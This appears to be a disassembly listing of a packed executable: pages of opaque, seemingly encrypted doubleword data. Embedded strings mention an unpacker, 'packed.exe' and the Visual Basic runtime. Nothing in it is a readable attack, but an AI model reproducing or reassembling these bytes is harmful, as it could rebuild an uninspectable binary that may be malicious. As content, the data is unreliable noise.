		dd 95E770E0h, 4F11B216h, 0BD21A8F6h, 5976E962h,	79264C7Fh
		dd 0EA8BEF50h, 259C15A4h, 0E1AE5556h, 0A2096ADAh, 264C849Fh
		dd 301F92DBh, 22D9B384h, 0BE0089F9h, 85F89BE5h,	0D9B3844Ah
		dd 85FE5F88h, 0B3843D12h, 8BEC15D9h, 1A58CF0Ch,	58C82387h
		dd 81E981CFh, 7C0F4D28h, 243BD00Ah, 69B55FC3h, 36198CD5h
		dd 1CD9B3B2h, 0B27F50F3h, 2A53D9B3h, 0DDDD50C9h, 0FD3AC44h
		dd 5B755AD5h, 0BC1DEC0Bh, 0C689003Dh, 86F651B5h, 0B32C28F4h
		dd 0DCF6286Ah, 0BF6E6DF9h, 3A58CA4Fh, 12AD5AEh,	40431188h
		dd 850456C1h, 0B818E6E0h, 28603213h, 0DB3h, 0BA39B207h
		dd 0FE7D0E4Fh, 40BFCC93h, 860586D5h, 0CB4A591Bh, 0B49A45Eh
		dd 0CE8EF978h, 85D13CBBh, 56188302h, 0F0D5C443h, 414C527Dh
		dd 0F94E8020h, 705FD21Bh, 62264C7Fh, 7240C939h,	64ADF66Fh
		dd 4C7FDEF1h, 28CBF426h, 264C7F27h, 3192022Bh, 72F1F8C6h
		dd 5679EC35h, 7C264C7Fh, 0D839420Dh, 0F2626531h, 1C38E4A9h
		dd 35185AA3h, 0BC5134E4h, 98B439A9h, 0BA2C5329h, 0BB902D91h
		dd 6DDFB529h, 97389C2Fh, 0C55FC3C8h, 0C23E5F2Ch, 3548087Fh
		dd 0A1FFCCC5h, 732E51C3h, 0CC70h, 0A3ED9B00h, 6C289F18h
		dd 2A9AF559h, 5A7143E4h, 4C7FE8E7h, 60C1EA26h, 0EF4789FCh
		dd 722AB00Fh, 0C3C8973Eh, 0F94045Fh, 264CECF2h,	0CC45541Ah
		dd 11810A55h, 707B45B0h, 143BAEF7h, 3E264C1Bh, 1B458AFDh
		dd 648D264Ch, 0A34D9303h, 0EF62DB7Bh, 2C53EDCFh, 579F821h
		dd 51C43DD9h, 0D5AF7390h, 0A92099C2h, 1C59D8EBh, 61D1DAA5h
		dd 62079AD8h, 13B9CC6Ah, 9CD008DAh, 1E00000Ch, 66D1505Bh
		dd 0AA159417h, 0EC57D6E5h, 329D1CAFh, 75E26160h, 9316648Dh
		dd 0D6E9A914h, 1DA8EC57h, 5E6D339Eh, 980BF0DFh,	20414BB7h
		dd 1B14699Bh, 391689D2h, 19264C7Fh, 7F024DF0h, 2750264Ch
		dd 4C6C2EB7h, 861F1FDCh, 34B314CCh, 75F487C9h, 18A3ED4Ah
		dd 0F84D13B4h, 64BF23B6h, 47138A03h, 3673D444h,	7EEEFDBFh
		dd 0AB2420ECh, 53A0E038h, 2589B22Ch, 67743BB2h,	8F126203h
		dd 1239BE2Eh, 41DFB4A1h, 185A9360h, 456D036Ah, 67E75767h
		dd 732D6889h, 9C36h, 38E46100h,	0A00487D6h, 7659CC45h
		dd 5C264C7Fh, 0E259D233h, 0FC8FCC91h, 6CDC3D98h, 0A9529E11h
		dd 0DB042C53h, 0AAF1DA77h, 1E2DFB4h, 3FB2FB34h,	0DFB4AA10h
		dd 418E0142h, 91DFB4AAh, 17970768h, 732DD539h, 54E6h, 0D91B1100h
		dd 0CD0F3E0Eh, 699D95Eh, 7BA335A5h, 0E52062DBh,	0C21CE448h
		dd 0B418ABEAh, 1286F859h, 4ADE5593h, 0B22580F0h, 2C53CABAh
		dd 0B24FB3DCh, 0DFB54A99h, 0AE0CD9BAh, 732E30D0h, 0DBF467B0h
		dd 0F7DFB546h, 1FD25ECEh, 0EB000000h, 0FFDBFEA9h, 0B727B8D5h
		dd 5BD21B6Eh, 0CB268A19h, 4C7F2728h, 92022B26h,	84972h
		dd 38E4C500h, 9F0386D6h, 7758CB44h, 5B264C7Fh, 0E158D132h
		dd 4EA90D9Eh, 0F13A83DEh, 4C7F517Eh, 87045726h,	224BC823h
		dd 0B03E2DB2h, 234C2C59h, 5E6D33AAh, 9F2A74DFh,	0C94D913Bh
		dd 617FDD50h, 446DD5ABh, 7F0A54CBh, 990EC406h, 2AA1D851h
		dd 0A0EE59BAh, 6D29A019h, 2B9BF65Ah, 73933BE5h,	33A787FAh
		dd 86FDDFB6h, 0E544B437h, 0A7D5A2ABh, 0BD640563h, 0F4E0A437h
		dd 8D3293F4h, 0D8897C7h, 0CC11491Bh, 0EE00000Ah, 36A120ABh
		dd 7AE56467h, 0BC27A635h, 26DECFFh, 45B231B0h, 636634BDh
		dd 0A63979E4h, 0EDF8BC27h, 2EBD036Eh, 68DBC0AFh, 20414967h
		dd 1BE4396Bh, 6DD1D4A4h, 361DA212h, 0F1264C80h,	39B0292Dh
		dd 0A5006477h, 4467DA35h, 96D3A650h, 38ABF46Dh,	0DFBEB017h
		dd 41A2123Bh, 8C0501CDh, 0DC404B15h, 43B61181h,	0D5AB6028h
		dd 51C8416Ah, 92FD7C0Fh, 0FB44BDCCh, 0A9E04788h, 921561D5h
		dd 1556D32Eh, 0A9E0ADA2h, 1B7CA5D5h, 13BB65ABh,	4D077AF3h
		dd 8FDFBC31h, 2DA4ED66h, 62EB5B6Ch, 0CD02751Ch,	5CB940Fh
		dd 0A784E2CBh, 0DE3F3D2Dh, 0CD93FE7Dh, 8FCE45BEh, 0A9F798FCh
		dd 0B51C122h, 9478636Eh, 789C404Bh, 0F74B6FFh, 0E344EB5h
		dd 93139808h, 0C5418BADh, 66BBF79Ch, 693B8787h,	9EA31h
		dd 285D000h, 46591883h,	88135CC7h, 0CEDD9E09h, 1396E44Fh
		dd 12DB2794h, 57C24140h, 9A058407h, 0E14CCBDEh,	9E8D0C9Fh
		dd 490946B9h, 17492041h, 0D4A41BC2h, 0A2126DD1h, 0CF48CC10h
		dd 59AF5F5Ch, 0E9628B2Ch, 418C2C72h, 0D6918808h, 0A61190F1h
		dd 0C36DD1D8h, 3982FB1Bh, 4AB109F7h, 0D47BB6B7h, 409BFF8Ah
		dd 0F244BD0h, 0FF6ED5ABh, 71CC30BBh, 5E209710h,	1F61CC4Bh
		dd 513A0C7Bh, 0D178E8A6h, 3B9F0083h, 50C94D91h,	0BC502FDDh
		dd 89FC3DDFh, 0CB94B046h, 8902638Ch, 4B84F740h,	87CB94B0h
		dd 1B65EE5Eh, 0D8A61190h, 0FBD06DD1h, 0A4CB94B0h, 0F063DC78h
		dd 0C1816137h, 70B9325Bh, 0DF9BB427h, 8EB7C187h, 0A81893E7h
		dd 0CB4A511Fh, 278B1E60h, 3CB5517Dh, 920FA2C9h,	63C7F0CBh
		dd 78F115B9h, 0EDDF3D05h, 0D7457FCDh, 0F99F1861h, 0C729CE2Fh
		dd 0C33BE18Fh, 8F1B9F1h, 8CC90000h, 40117CFBh, 0A55C03Fh
		dd 0C4970281h, 9FDD48C7h, 0E2208D0Ch, 0B736B507h, 0FA790C4Ch
		dd 41C0CB8Fh, 820188D6h, 143BAE93h, 3E204148h, 0D21BB70Ch
		dd 4C7F705Fh, 0C9396226h, 76B7E40h, 69205294h, 0BA1EADEEh
		dd 853AED5Fh, 0D334B706h, 594DA63h, 30B300A1h, 57642BCCh
		dd 0C20D80F3h, 10264CF0h, 0B68372E7h, 8F5CF595h, 0D4536628h
		dd 358A9472h, 74379h, 566E0000h, 4BEh, 0D06F52A9h, 1C8F080Ch
		dd 2C53AB4Ch, 57CF51Eh,	0C78930BBh, 81DE44B4h, 0A084E0h
		dd 0ECFFBF36h, 7CCF0073h, 0DA0300A1h, 1034D86Ah, 4E512097h
		dd 74D8D3A7h, 0DB4EA919h, 0ABEB323h, 0FEA80C35h, 4ABD36DEh
		dd 0CB32860h, 0AAF3C332h, 1671D5E4h, 84F651B5h,	94E34CA0h
		dd 0D049AA37h, 5841759h, 0FAB4D49Ah, 3842BD57h,	668E3394h
		dd 36FA8D52h, 7FD2C64h,	0F8BD0000h, 0B40570EFh,	649B433h
		dd 0C88BF675h, 83D13CBBh, 0EE148100h, 0B332B103h, 0F6750848h
		dd 3DBCCF8Bh, 7EFD8CD2h, 1837AA8Fh, 3A204147h, 0A3EDB308h
		dd 0FF41B418h, 0BE81B23Ch, 17A01011h, 8BCD4645h, 51EBFBB6h
		dd 4D5E1D04h, 0BD2D8EE9h, 2024E85Ch, 0BCCD34A7h, 648D2C59h
		dd 561A9EBh, 8BC67762h,	749C01Bh, 1596E55Ch, 9CB356B1h
		dd 0B6DFBEAFh, 42AD2C8Dh, 5F096D7Ch, 0A71E97BFh, 863D3D8h
		dd 0F557DBFh, 54F4C096h, 42505FE4h, 5982D5ABh, 832769E0h
		dd 213A01F9h, 1594F50Bh, 4ABDE4AAh, 0D5A98D05h,	0A91DE4Dh
		dd 89EA4BA6h, 150C710h,	1CBF1A7Eh, 0D5A98D33h, 4086F61Fh
		dd 73718BCDh, 0B2085EB2h, 0E8FBB942h, 0B37AD943h, 0CF07D913h
		dd 727h, 46C5C693h, 8A099ADBh, 0CC4B501Fh, 12911261h, 57D6D5A7h
		dd 8FCD18EAh, 42127DFCh, 155C03Fh, 0D29C0786h, 745948C7h
		dd 4146CE01h, 7DD20420h, 0CFDAA41Bh, 501CD5Fh, 0AF16198Ch
		dd 133C2C59h, 5251239Ah, 4E1087E2h, 0F51BC3Bh, 0AE6E187Ch
		dd 44EB2DA6h, 4540143Ah, 0CE1486E1h, 97F26211h,	0A1B73824h
		dd 6C113AD5h, 13BD6A98h, 0B4629A6Ch, 6000006h, 4EB938B3h
		dd 92FD7C0Fh, 0D43FBECDh, 1A850487h, 5DCA4958h,	7B0E4CA5h
		dd 0BEC191FCh, 580D43Fh, 46551B86h, 80F3D8C7h, 2041454Fh
		dd 1BFC5183h, 7F705FD2h, 3962264Ch, 537E40C9h, 4C7FEFE0h
		dd 59BAE326h, 404082F5h, 0B53C839Fh, 0D7992292h, 4EB0BEB3h
		dd 0BA157900h, 2362D348h, 2BC45EC2h, 22A9F75Eh,	0C84267A9h
		dd 0EFFE324Fh, 37FF9102h, 0B6288938h, 0C650340Dh, 49AA1A35h
		dd 353F09E7h, 0CB679h, 56E10000h, 272h,	50532097h, 0A3ED97E0h
		dd 0C20AB418h, 5956C942h, 792C59B0h, 1866D150h,	0D2A11891h
		dd 7A1B61D1h, 7D4B9838h, 45CF71CAh, 0E62865E4h,	0A15BA858h
		dd 0B143B35Bh, 0FD70E96Dh, 0D5ABCB13h, 428D0041h, 90D5A949h
		dd 168D0667h, 57C24148h, 7D1E8209h, 0BC33AC3Fh,	2C87EBFEh
		dd 0CC76BCh, 14188B04h,	3EDFB6BDh, 57667015h, 0A0720D88h
		dd 5B668h, 36B10400h, 7A0D4CB7h, 0BCCF90FBh, 281D23Dh
		dd 475A1883h, 3EA75BC8h, 83EE6D7Ch, 0C631B033h,	0D78F7F2h
		dd 0CAB93843h, 445D72E5h, 43752041h, 18A3EDEEh,	0D45C5D9Fh
		dd 0D2500655h, 429D0180h, 0B82B71E1h, 632C7541h, 3893F758h
		dd 6A713FC8h, 6D36C06h,	3FB2D19Fh, 264C2410h, 39B81942h
		dd 355AF9D7h, 7A679h, 56D10000h, 11Ah, 18A3EDA9h, 567D6B73h
		dd 71A97BE0h, 537h, 36B53683h, 7AF98ACBh, 0BC3B400Fh, 2810251h
		dd 47C6C597h, 0FFBD28DAh, 0B2026DECh, 7145B02Fh, 0C28CF776h
		dd 644938B7h, 4144DEF1h, 6DC2F420h, 705FD21Bh, 62264C7Fh
		dd 7E40C939h, 2EB0F26Bh, 302D3159h, 0E889CF3Fh,	15AF13A6h
		dd 648AF7Ch, 0B492F473h, 63793539h, 17h, 5FD21B8Eh, 264C7F70h
		dd 0A9C93962h, 9Eh, 9856FCh, 1BA90000h,	6ED2D5A4h, 0CD11A313h
		dd 525DD049h, 802C59B0h, 8549F357h, 69950881h, 0EBD5A14Dh
		dd 0B7871DC2h, 29FB13BDh, 49AF1h, 52552000h, 962968D3h
		dd 0D8E3AC17h, 1EADEE59h, 6366349Fh, 628B77E4h,	0A7129110h
		dd 0EA55D4D7h, 319C1BAEh, 0EEDD5C6Fh, 43B99609h, 67992041h
		dd 1C38E412h, 9DE35AA3h, 0EDA094FDh, 298A8070h,	577334B9h
		dd 0E1232C53h, 38EE5FEDh, 7DDC4CD9h, 1B92DB54h,	51DA4A59h
		dd 97FE7D0Eh, 0DFB5A8BBh, 1F9E2D73h, 7CE0EBB4h,	42E44h
		dd 38E49700h, 0E75AA31Ch, 264C7FE8h, 7F547BEEh,	557E264Ch
		dd 0E43FAFD8h, 59B07E71h, 0DC4F982Ch, 0DFBEB0F3h, 0E746B6DFh
		dd 6CB05ABEh, 442D6FE8h, 0E9E5BDE0h, 79EC47B7h,	0D5A19D85h
		dd 5501A6CFh, 0E913BD67h, 3E5DF17h, 80D50000h, 5C1D8807h
		dd 1E61CC4Bh, 0D0A30E8Dh, 0ABE954D3h, 0D62C9918h, 0CB4A591Bh
		dd 0E8D1060h, 55D4D7A3h, 9615A4EAh, 4FC2A7h, 52204143h
		dd 38E4CB20h, 330A31Ch,	4F2C59B0h, 0A80C9FE0h, 4789DB4Dh
		dd 98BC448Ah, 7947BE37h, 0AAB7F972h, 641F7785h,	35A00171h
		dd 1DB34F6Bh, 6A681674h, 57199009h, 1585E044h, 17F925CFh
		dd 83DE4249h, 1E60A922h, 8EA286A7h, 2DB222C6h, 0D5AB62AFh
		dd 0A41B94BDh, 0E550CFDAh, 2AC109Bh, 78C13ADAh,	0BB2DBE01h
		dd 6612C1D1h, 850A7AD8h, 0DFB65AA5h, 0B729CEF7h, 0F30D88D4h
		dd 339E921h, 34810000h,	88C934B3h, 420D78F7h, 0C4FBA39h
		dd 0C795007Fh, 2AD845C4h, 6FEEFDBFh, 0B231B404h, 0F9787347h
		dd 3AB9C08Eh, 0DCF3664Bh, 0F6204142h, 0A3ED6FC4h, 65D9F18h
		dd 551807ADh, 17B8FE6Eh, 87C94249h, 51D2CA91h, 94F56587h
		dd 0DF58FC20h, 53026C6Ch, 410F7E2Ch, 1A7BD63Ah,	23219B6h
		dd 4021DFB5h, 0F3C33A73h, 790A49F0h, 7CAB8909h,	4658732Eh
		dd 83000000h, 85D638E4h, 0E647A206h, 0AFD6FA6Dh, 0D7002C53h
		dd 0AFFDD673h, 0E1B3DFB4h, 93DD7EE2h, 0A249A408h, 0C43B6DDh
		dd 46DFB4AFh, 0D458BC1Dh, 9609420Fh, 0DFB4AFB9h, 930F7099h
		dd 0A987E5B2h, 56732DCBh, 0FDh,	7A3ED81h, 0B60748DAh, 3FA30450h
		dd 69CDDC9Eh, 8FF386C8h, 6F60D31Ch, 63264C25h, 0AFDC83Ah
		dd 75E9ADBCh, 0A7327C05h, 2FA2EB28h, 264C8F20h,	14990932h
		dd 264C7409h, 8439511Fh, 77C4C53Fh, 13EBD1Eh, 0C61485BFh
		dd 7CEC0998h, 0BA1EADF3h, 15BA0547h, 0BEF67DFBh, 4E74CAB1h
		dd 0D141A20Eh, 0FE779F3Fh, 53A5E38Bh, 8DFB352Ch, 0C8DB99B7h
		dd 0F4970964h, 2AA90A8Bh, 0E85BA4EDh, 0DFB4EEE7h, 301FC2EBh
		dd 2DDFB4EEh, 6BC5364Ch, 97C03D0Ah, 0CD499527h,	0D898E154h
		dd 0B1DAD5AEh, 0F0F3C138h, 35B40671h, 0B93B3090h, 7AB28413h
		dd 1CFh, 9E1DAEEBh, 0E2616233h,	24A32877h, 6AE9FAB9h, 0AF2EBDFFh
		dd 5725C042h, 2A6AD554h, 0E9AD1897h, 0AAF45FDEh, 0CCB1A01Fh
		dd 41417659h, 0D52A5C20h, 88D6AFEDh, 89EAF9BBh,	0F069CA25h
		dd 40A43779h, 0A91475E5h, 0BDCC8EE7h, 1E9DFE59h, 438E4F3h
		dd 4C7FBE91h, 475A9426h, 0EF635A7Ch, 3CB51677h,	80F0FBC5h
		dd 4E9EB225h, 45BC2C53h, 88FB7477h, 0DFB5CE47h,	93F2628Bh
		dd 3B7AF16Ah, 79E944A8h, 0CEBD9633h, 2D73DFB5h,	0DA993A9Eh
		dd 0E61765C9h, 9B7CF819h, 5C1E95CEh, 7F5DDD4Dh,	2C732EACh
		dd 0B2h, 18A3ED57h, 424113B4h, 0C20D80C9h, 10264C7Fh, 0BE3177E7h
		dd 7777447h, 4C847F82h,	0B8C38D26h, 0F980CE39h,	2323EB95h
		dd 5EBF37AAh, 0B8E1D3ACh, 0F588C83Fh, 65C63691h, 0B0292DF1h
		dd 0AEFCC73Dh, 522299D5h, 5780DF4Fh, 0B1709CDEh, 789F2273h
		dd 6436AD08h, 397BE665h, 0DD4705AAh, 0E9BB13B9h, 0C6B1h
		dd 26A1F400h, 6A7D3CA7h, 0AC3F80EBh, 0F2F1C22Dh, 374A0873h
		dd 2EB74BB8h, 73DE5D6Ch, 0B621A023h, 0FD68E7E2h, 0BAA928B3h
		dd 3F6D62D5h, 33652041h, 1CAFEDDEh, 5C6F2CA3h, 0A4F69DF8h
		dd 0E954B525h, 529B14A7h, 4C7FF0DFh, 49B9E226h,	0A3EDBDE8h
		dd 4D13B418h, 834BBF3Eh, 29970A83h, 2B2C59AEh, 0B3FD9E02h
		dd 680F92E2h, 0B5349528h, 1175044Ah, 54D04274h,	0BB88B9D1h
		dd 7F0A54h, 5CC0CB95h, 222DA0E9h, 30D1D530h, 4D0E9707h
		dd 309CB326h, 47BAD1D5h, 0D1D53008h, 35A4214Ah,	9F00616Ah
		dd 25F2B73Bh, 6AE9F0BEh, 9F12B1FFh, 0D1D530B0h,	301C33A6h
		dd 0D36D1D5h, 0F1C06790h, 0F1298DEEh, 3, 0ED956A44h, 1ABB1FA8h
		dd 40E14554h, 6C0D7174h, 9435992Ch, 0BE5FC3C6h,	0E889EDFCh
		dd 13B418ABh, 3ADB3F4Ch, 9004687Bh, 52E38953h, 8178C7BAh
		dd 8EAC15Ch, 7E8CC281h,	0D301FFA3h, 4EB835Ah, 5C241C87h
		dd 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	68241C89h, 7261h, 0BB242C89h, 5E315D52h
		dd 4D1AC381h, 0CB8105D9h, 34BE53FCh, 0BFC3814Bh, 811DFC75h
		dd 7011E0EBh, 81D3F770h, 360DF7F3h, 0B5EB8126h,	813BFF14h
		dd 899895C3h, 2D0D6846h, 24890000h, 24048124h, 4, 382E685Dh
		dd 0C890000h, 8B924h, 0E9010000h, 0FF591989h, 835D2434h
		dd 1C8B04C4h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 0FAFEF1E9h, 89465AFFh, 40F2B81Dh, 0C503060Dh, 609FE0FFh
		dd 0FF492D16h, 27535B11h, 0AFFD2F34h, 55452258h, 2FC72899h
		dd 4C6263A5h, 66E9585Ah, 56000001h, 0C525F0C9h,	4377E705h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 2 dup(0)
		dd 1B76E900h, 43680000h, 0E9060D45h, 0FFFA382Ah, 0D462068h
		dd 3820E906h, 2368FFFAh, 0E9060D47h, 0FFFA3816h, 0D47DE68h
		dd 380CE906h, 1D68FFFAh, 0E9060D48h, 0FFFA3802h, 0D493C68h
		dd 37F8E906h, 9668FFFAh, 0E9060D49h, 0FFFA37EEh, 0D49E468h
		dd 37E4E906h, 2768FFFAh, 0E9060D51h, 0FFFA37DAh, 0D51BA68h
		dd 37D0E906h, 6668FFFAh, 0E9060D52h, 0FFFA37C6h, 0D539568h
		dd 37BCE906h, 868FFFAh,	0E9060D54h, 0FFFA37B2h,	0D54C268h
		dd 37A8E906h, 6F68FFFAh, 0E9060D55h, 0FFFA379Eh, 0D565968h
		dd 3794E906h, 0C768FFFAh, 0E9060D5Bh, 0FFFA378Ah, 0D5CD168h
		dd 3780E906h, 7668FFFAh, 0E9060D5Dh, 0FFFA3776h, 603E1DFAh
		dd 0FBD98292h, 9A78E32Dh, 371546CCh, 0D1AFAC69h, 74A13636h
		dd 0DB3B09E7h, 3FD4A280h, 0A1703E1Ch, 260ADCBAh, 0D4AEBD9Fh
		dd 0C9684284h, 2B4E0D04h, 4C2EB52Dh, 8A7EC76Bh,	0A8EBD08Bh
		dd 4B1001C5h, 0A87EE36Dh, 7B683BC2h, 0AAED78C0h, 5BA47A87h
		dd 36DA78C0h, 55BE0225h, 0AED18A89h, 561538E7h,	562A694Eh
		dd 592CD3A8h, 32E48FC5h, 47h, 8CD14859h, 0EAB1D487h, 0E30655BEh
		dd 876D1Ch, 78BF9B29h, 0BF7D63A6h, 1FE60952h, 0C583813Ch
		dd 9A270A51h, 78C03BC4h, 214417FAh, 52833DDh, 3D99DEA6h
		dd 985F82D9h, 106715E9h, 8FE19AEBh, 0E0F1E4h, 4180000h
		dd 0E72B4E0Dh, 7661B02Eh, 0A58179E0h, 0F013C2D9h, 59577A29h
		dd 0BFE2799Bh, 0C05115F8h, 0DD34789Bh, 5A18A07Eh, 0BA81A4B7h
		dd 36E04AD7h, 0B35E7EC8h, 15FCCAA8h, 90D871C2h,	1DF38635h
		dd 0FAE08F3Eh, 6CDA8435h, 0CC93B6A5h, 3B17EA99h, 0DA9F9D58h
		dd 0FECE7577h, 50D0B3B8h, 0B32B11C9h, 1C3F1CF5h, 0FA1D3ED8h
		dd 14A18433h, 78C0BA21h, 70EB26E6h, 0C059E3C1h,	70AD341Ah
		dd 0AD72B654h, 4FC6846Ah, 0B5602E0Ch, 0ADCA6FA6h, 0D63717A9h
		dd 18DDDAh, 8BD04700h, 2635DFADh, 0C5967A48h, 62F919E7h
		dd 0FC5FB684h, 0EEE9831Eh, 88563427h, 21EFCD8Eh, 0BD8B69F2h
		dd 57290754h, 0B00AEC73h, 0B58F84D4h, 848C4A16h, 0AEDB4D7h
		dd 0AE8CCF46h, 6CF331E0h, 7EC76B8Ah, 0F01348C8h, 52014429h
		dd 0D1480574h, 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh, 8778C03Ah
		dd 0AEC73EBh, 8F78C03Bh, 0E2D9694Ch, 8FE1285Dh,	0AB63E4h
		dd 48A0000h, 0F0684E0Dh, 0C76B8769h, 9DC90C7Eh,	0F9C0E378h
		dd 0FE175B16h, 22536E0h, 0B0F9083Bh, 46B41FA8h,	0FD677497h
		dd 7B7EC7B9h, 19E7C596h, 404063F8h, 941B01D9h, 78C0B9A1h
		dd 0F06BA666h, 40D96341h, 0F92DB49Ah, 3E72B64Fh, 0BE5715FBh
		dd 0C5F2B79Dh, 3AA9C0Fh, 0D4A218FBh, 0A0E31A41h, 0A117A9A2h
		dd 18004440h, 0F3240000h, 58BC8A68h, 0B9572503h, 1CF6C4A2h
		dd 8293613Fh, 0C60FBD9h, 33114ACBh, 0CCAAB165h,	684615FEh
		dd 6E4779Ah, 0E7C95034h, 6C84D4B0h, 1104F392h, 739E6C4Ah
		dd 38A02E8h, 7EC76B21h,	0A8063A6h, 4E0D049Bh, 312AE72Bh
		dd 57878D4Bh, 0B67DA0BBh, 3A1DE407h, 0FF273AC4h, 77DCA119h
		dd 5CE6D25Eh, 688BD046h, 820FF2A1h, 78C05D33h, 0EB0CE9B0h
		dd 0D00613D5h, 33662A0Fh, 7C2BE14Eh, 2A764C59h,	560478C1h
		dd 0F6ABDA61h, 0E5A3E48Eh, 460D302Bh, 0B12263h,	0F3490000h
		dd 0A179E0E5h, 975134BBh, 93D678BFh, 9C49E8ADh,	8BE93A18h
		dd 0C5AD20A8h, 8144241Ch, 290C4FC3h, 846AB0A9h,	1CFAF2FDh
		dd 0D937F79Eh, 0E8224F82h, 1A6BFD03h, 0D148486Bh, 73694BD2h
		dd 0ABEE9E1Dh, 0DA8F16FCh, 179812F0h, 0B176EED4h, 8FEF83F2h
		dd 3D01E42Ah, 0DBA987D4h, 0EE6DA836h, 0B485083Fh, 5BBCF24Dh
		dd 16FD5Fh, 6BF02700h, 655BF8Dh, 0A5B65A28h, 4219F9C7h
		dd 0DC7F9664h, 0CE0963FEh, 68361447h, 1CFADAEh,	9D6B4912h
		dd 3709E774h, 0B1EACC53h, 956F84D4h, 4E0D04F6h,	0F16AAA68h
		dd 0CE53530Eh, 5CAB3218h, 0D978BF97h, 0F349B896h, 0A179E0E5h
		dd 975134BBh, 93D678BFh, 36BD35ADh, 78C03F54h, 0BFA196D9h
		dd 4478C03Fh, 1F3CD501h, 0CA5235FCh, 973C8357h,	0C61C05F1h
		dd 54A368E0h, 0F5CC2DEFh, 9DCAACA1h, 0C4FF196h,	1924AB29h
		dd 1EEB8ECCh, 0DC37F5DBh, 0E1E19C7Fh, 35BCA278h, 0E584E980h
		dd 0DBBD44BCh, 60E584F0h, 7ABD3A1Dh, 203BD694h,	0BE9D7442h
		dd 0DBBA1087h, 0D4D031A4h, 1642h, 482635E2h, 0E3C19A7Ah
		dd 8260FB15h, 1FFD5EB4h, 0B997C451h, 8C894E1Eh,	0F323F1CFh
		dd 57BC8A68h, 0B9582604h, 0EF2C4A2h, 0D4B2A587h, 0B1502A84h
		dd 174E0D04h, 0B993F4Ah, 35A56B7h, 21000016h, 0B98765F6h
		dd 5422005Bh, 0F3C19FBCh, 905E3C1Fh, 5DF8D685h,	0E4DC80Fh
		dd 0A7B46230h, 4318FBC9h, 0E17A9765h, 0C64D3103h, 84D4B2E4h
		dd 4F08F69h, 0AA684E0Dh, 0BD9E746Ah, 4124EB0Eh,	4B938686h
		dd 8466ED65h, 97EC76Bh,	0DE65E3C6h, 78BF98E3h, 0A88765A8h
		dd 0CE938663h, 2AE91546h, 159C8231h, 72B86532h,	0D5B73EB6h
		dd 5A72B90Ch, 74B73417h, 0B0622084h, 38A88ABh, 72B90D21h
		dd 0D1B463A6h, 0FC3DC44h, 5B8396F6h, 82E3EE75h,	21E8D008h
		dd 6C23DE4Eh, 0F71AC9FAh, 1D63BF9h, 0D518FE7Bh,	5E81300Ah
		dd 2D34B497h, 65537BEh,	97DAD009h, 128A02E8h, 906A98Bh
		dd 0F6EB2ED0h, 0D0090614h, 0F5735699h, 0FE83B96Eh, 57DF5C9h
		dd 0FE8B9C7Eh, 0E9DE21C9h, 0C9FE8B07h, 0E966498Ch, 19EAED29h
		dd 0C61EC822h, 2BB29847h, 0C9FF5149h, 0F6DC8BCEh, 0A482D938h
		dd 0F4AC571Ch, 5A5F968Dh, 0FF2A1BAh, 0D75EC64Bh, 0C9FF53F5h
		dd 4404377Ah, 0C33D257Ah, 0AFBCF3A2h, 52C061DBh, 14E4F5F1h
		dd 0D7400000h, 3CD8A684h, 9D73411Fh, 12E0BEh, 66AF7D5Bh
		dd 0F07C17F5h, 4F2D2EE7h, 0E8C69581h, 8462F91Ah, 22005BB6h
		dd 3E56C50h, 8884D4B4h,	593B0FAEh, 0CE7EC76Bh, 7EC77AF8h
		dd 0FF5CB674h, 0A53215DCh, 7EC76ACFh, 0C74B663Ch, 0E6759C7Eh
		dd 995FC6AFh, 0DEDA3B0Bh, 148Ah, 0DE7D9Ah, 9B79E232h, 3A1843CDh
		dd 0D7B5A66Ch, 714F0C09h, 0D44196D6h, 3BDBA987h, 9F744220h
		dd 110DEBCh, 0C6AA7C5Ah, 0D4B45D3Fh, 6908E284h,	1D85D148h
		dd 6B4BFE33h, 8209EF9Eh, 78BF9EBFh, 0F58AC104h,	0C11A05Ch
		dd 143CAFABh, 2FE80000h, 94804E2Ch, 0F51BE9C7h,	58BA8866h
		dd 0BE572503h, 4824BF9Dh, 0F7D5868Fh, 906EED29h, 2C0A51C2h
		dd 0CAA8B35Eh, 0AB8D14F8h, 3084D4B4h, 854AB756h, 0A617E67Ah
		dd 6B4DD41Dh, 0F07EC821h, 9118FEADh, 7EC821AFh,	4A0EF134h
		dd 2D7194C7h, 0C717FAE4h, 0B362114Ah, 94C74C90h, 78E32D71h
		dd 83F82C55h, 0C3B89AD4h, 87FF493Ch, 1C42DEh, 3B690000h
		dd 7EC76B65h, 7E5769Bh,	6BED1B70h, 0ADABCE7Eh, 573A21EFh
		dd 13B1DBh, 0D047800h, 362B2B4Eh, 0A8830AF0h, 2C78C06Ah
		dd 6A4B2DB4h, 8C8978C0h, 0ED23EACFh, 680BC6BEh,	5FDCBF6Eh
		dd 0ADB43E1Ch, 1D088F75h, 0E272B939h, 0D8387C9Fh, 9E259D83h
		dd 72B929BCh, 0A51BFE41h, 0AAB15F1Dh, 295B3DC4h, 9DE072B9h
		dd 29562DBAh, 14D272B9h, 733A5DFEh, 1348CC90h, 2AAD6735h
		dd 7352E693h, 0A1873662h, 0ADC0A229h, 24572B8h,	0F420641Fh
		dd 7D854467h, 0EC38DC06h, 0AD0BED74h, 4D9072B8h, 0B8AD7658h
		dd 0CC1AAD72h, 0BAC5D5C7h, 0AA6692D5h, 7B2402B1h, 0EA974D0Ah
		dd 20981h, 0D148A800h, 0D99C2309h, 1E78BF85h, 0A074B8DBh
		dd 2310D5BBh, 2DDCFEACh, 0AD84E31h, 212E510Ah, 78C0394Bh
		dd 0C713689Ch, 6A280E4Dh, 0C88FB2A9h, 7CE56FE5h, 1906E86Fh
		dd 488B78C0h, 152CB399h, 1272B91Dh, 0EA71E9CFh,	72B91508h
		dd 0AC674A8Dh, 3625F0AEh, 0A5694C13h, 3F0DEB70h, 556285D6h
		dd 72B9157Dh, 0F9259ACEh, 0D7613F1Ch, 3EB69C42h, 155D3FC6h
		dd 769B72B9h, 8ABD00E5h, 637391B2h, 18A588C4h, 6CB25681h
